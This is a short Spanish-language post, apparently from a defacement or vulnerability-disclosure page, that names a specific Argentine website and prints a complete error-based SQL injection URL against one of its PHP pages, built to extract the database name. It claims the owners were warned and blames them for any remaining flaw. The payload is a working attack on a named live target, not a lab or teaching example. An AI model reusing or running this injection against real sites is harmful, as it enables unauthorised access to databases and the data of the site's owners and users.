Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas, si estos fallos siguen vigentes es por puro desinterés y mala administración de los encargados.
SQLI
Sitio: http://www.kier.com.ar
Vector:
http://www.kier.com.ar/coleccion.php?op=ficha&id_coleccion=98 and (select 1 from(select count(*),concat((select (select (database()))),floor(rand(0)*2))a from information_schema.columns group by a)b)--+&page=0&PHPSESSID=7c7e4196fbbd700a469d53af8fe95b26
Autor: hdbreaker